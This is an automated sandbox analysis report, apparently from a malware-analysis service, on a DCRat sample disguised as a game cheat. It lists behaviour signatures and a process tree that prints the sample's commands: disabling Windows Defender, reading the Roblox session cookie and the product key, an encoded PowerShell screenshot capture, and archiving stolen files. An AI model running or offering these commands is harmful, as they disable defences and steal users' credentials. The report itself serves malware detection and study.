Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-01-2025 04:21

General

  • Target

    e9f868d54dc0cda5bd4e13ad4fb6c7861b339024cd28daf0dc8eb9ee69a405fe.exe

  • Size

    8.8MB

  • MD5

    9a1a0974a7201deaa019697cb0f137db

  • SHA1

    18095f2009c5e70970272a9c2a5cb6a538f84d82

  • SHA256

    e9f868d54dc0cda5bd4e13ad4fb6c7861b339024cd28daf0dc8eb9ee69a405fe

  • SHA512

    b1165edcc521cbd8f7c03113a0138befa70f4b77d5f427b36e231cbb6d665dc28b10c6848666dc6cba6868974027044d32becebc352e25decdc87b9f53b3501d

  • SSDEEP

    196608:rFHY9wfI9jUCzi4H1qSiXLGVi7DMgpZ3Q0VMwICEc/j5inz:zIHziK1piXLGVE4Ue0VJInz

Malware Config

Signatures

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

  • Dcrat family
  • Process spawned unexpected child process 48 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • DCRat payload 4 IoCs

    Detects payload of DCRat, commonly dropped by NSIS installers.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 3 IoCs
  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

  • Executes dropped EXE 6 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Enumerates processes with tasklist 1 TTPs 4 IoCs
  • UPX packed file 57 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 18 IoCs
  • Drops file in Windows directory 5 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies registry class 1 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 48 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 29 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e9f868d54dc0cda5bd4e13ad4fb6c7861b339024cd28daf0dc8eb9ee69a405fe.exe
    "C:\Users\Admin\AppData\Local\Temp\e9f868d54dc0cda5bd4e13ad4fb6c7861b339024cd28daf0dc8eb9ee69a405fe.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2728
    • C:\Users\Admin\AppData\Local\Temp\Cheat.exe
      "C:\Users\Admin\AppData\Local\Temp\Cheat.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2860
      • C:\Users\Admin\AppData\Local\Temp\Cheat.exe
        "C:\Users\Admin\AppData\Local\Temp\Cheat.exe"
        3⤵
        • Drops file in Drivers directory
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:2248
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Cheat.exe'"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3192
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Cheat.exe'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:700
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2680
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3876
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3712
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            5⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:4816
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1720
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            5⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:3772
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4372
          • C:\Windows\System32\Wbem\WMIC.exe
            WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
            5⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4752
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
          4⤵
          • Clipboard Data
          • Suspicious use of WriteProcessMemory
          PID:3632
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Get-Clipboard
            5⤵
            • Clipboard Data
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:556
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4876
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            5⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:676
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tree /A /F"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4796
          • C:\Windows\system32\tree.com
            tree /A /F
            5⤵
              PID:4532
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "systeminfo"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:4196
            • C:\Windows\system32\systeminfo.exe
              systeminfo
              5⤵
              • Gathers system information
              PID:2824
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:836
            • C:\Windows\system32\reg.exe
              REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
              5⤵
                PID:2516
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:64
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                5⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:840
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ky1k0nxb\ky1k0nxb.cmdline"
                  6⤵
                    PID:1084
                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB7C7.tmp" "c:\Users\Admin\AppData\Local\Temp\ky1k0nxb\CSC6280EF54E1BD424BBC95DC5C91B4D31.TMP"
                      7⤵
                        PID:1652
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:752
                  • C:\Windows\system32\tree.com
                    tree /A /F
                    5⤵
                      PID:4804
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
                    4⤵
                      PID:2796
                      • C:\Windows\system32\attrib.exe
                        attrib -r C:\Windows\System32\drivers\etc\hosts
                        5⤵
                        • Drops file in Drivers directory
                        • Views/modifies file attributes
                        PID:2988
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                      4⤵
                        PID:4552
                        • C:\Windows\system32\tree.com
                          tree /A /F
                          5⤵
                            PID:3608
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
                          4⤵
                            PID:2592
                            • C:\Windows\system32\attrib.exe
                              attrib +r C:\Windows\System32\drivers\etc\hosts
                              5⤵
                              • Drops file in Drivers directory
                              • Views/modifies file attributes
                              PID:1156
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "tree /A /F"
                            4⤵
                              PID:1028
                              • C:\Windows\system32\tree.com
                                tree /A /F
                                5⤵
                                  PID:1220
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                4⤵
                                  PID:1044
                                  • C:\Windows\system32\tasklist.exe
                                    tasklist /FO LIST
                                    5⤵
                                    • Enumerates processes with tasklist
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:1504
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                                  4⤵
                                    PID:1804
                                    • C:\Windows\system32\tree.com
                                      tree /A /F
                                      5⤵
                                        PID:1016
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                                      4⤵
                                        PID:384
                                        • C:\Windows\system32\tree.com
                                          tree /A /F
                                          5⤵
                                            PID:1636
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                          4⤵
                                            PID:2852
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                              5⤵
                                              • Command and Scripting Interpreter: PowerShell
                                              • Suspicious behavior: EnumeratesProcesses
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:4552
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                            4⤵
                                              PID:1016
                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                5⤵
                                                • Suspicious behavior: EnumeratesProcesses
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:3536
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c "getmac"
                                              4⤵
                                                PID:3932
                                                • C:\Windows\system32\getmac.exe
                                                  getmac
                                                  5⤵
                                                    PID:60
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI28602\rar.exe a -r -hp"123" "C:\Users\Admin\AppData\Local\Temp\j7S5e.zip" *"
                                                  4⤵
                                                    PID:4244
                                                    • C:\Users\Admin\AppData\Local\Temp\_MEI28602\rar.exe
                                                      C:\Users\Admin\AppData\Local\Temp\_MEI28602\rar.exe a -r -hp"123" "C:\Users\Admin\AppData\Local\Temp\j7S5e.zip" *
                                                      5⤵
                                                      • Executes dropped EXE
                                                      PID:2332
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                                    4⤵
                                                      PID:4664
                                                      • C:\Windows\System32\Conhost.exe
                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                        5⤵
                                                          PID:4532
                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                          wmic os get Caption
                                                          5⤵
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:1660
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                        4⤵
                                                          PID:232
                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                            wmic computersystem get totalphysicalmemory
                                                            5⤵
                                                              PID:3336
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                            4⤵
                                                              PID:3564
                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                wmic csproduct get uuid
                                                                5⤵
                                                                  PID:4860
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                                4⤵
                                                                  PID:4956
                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                                    5⤵
                                                                    • Command and Scripting Interpreter: PowerShell
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    PID:5104
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                  4⤵
                                                                    PID:2804
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic path win32_VideoController get name
                                                                      5⤵
                                                                      • Detects videocard installed
                                                                      PID:2068
                                                                  • C:\Windows\system32\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                                    4⤵
                                                                      PID:2752
                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                                        5⤵
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        PID:5000
                                                                • C:\Users\Admin\AppData\Local\Temp\mainV2.exe
                                                                  "C:\Users\Admin\AppData\Local\Temp\mainV2.exe"
                                                                  2⤵
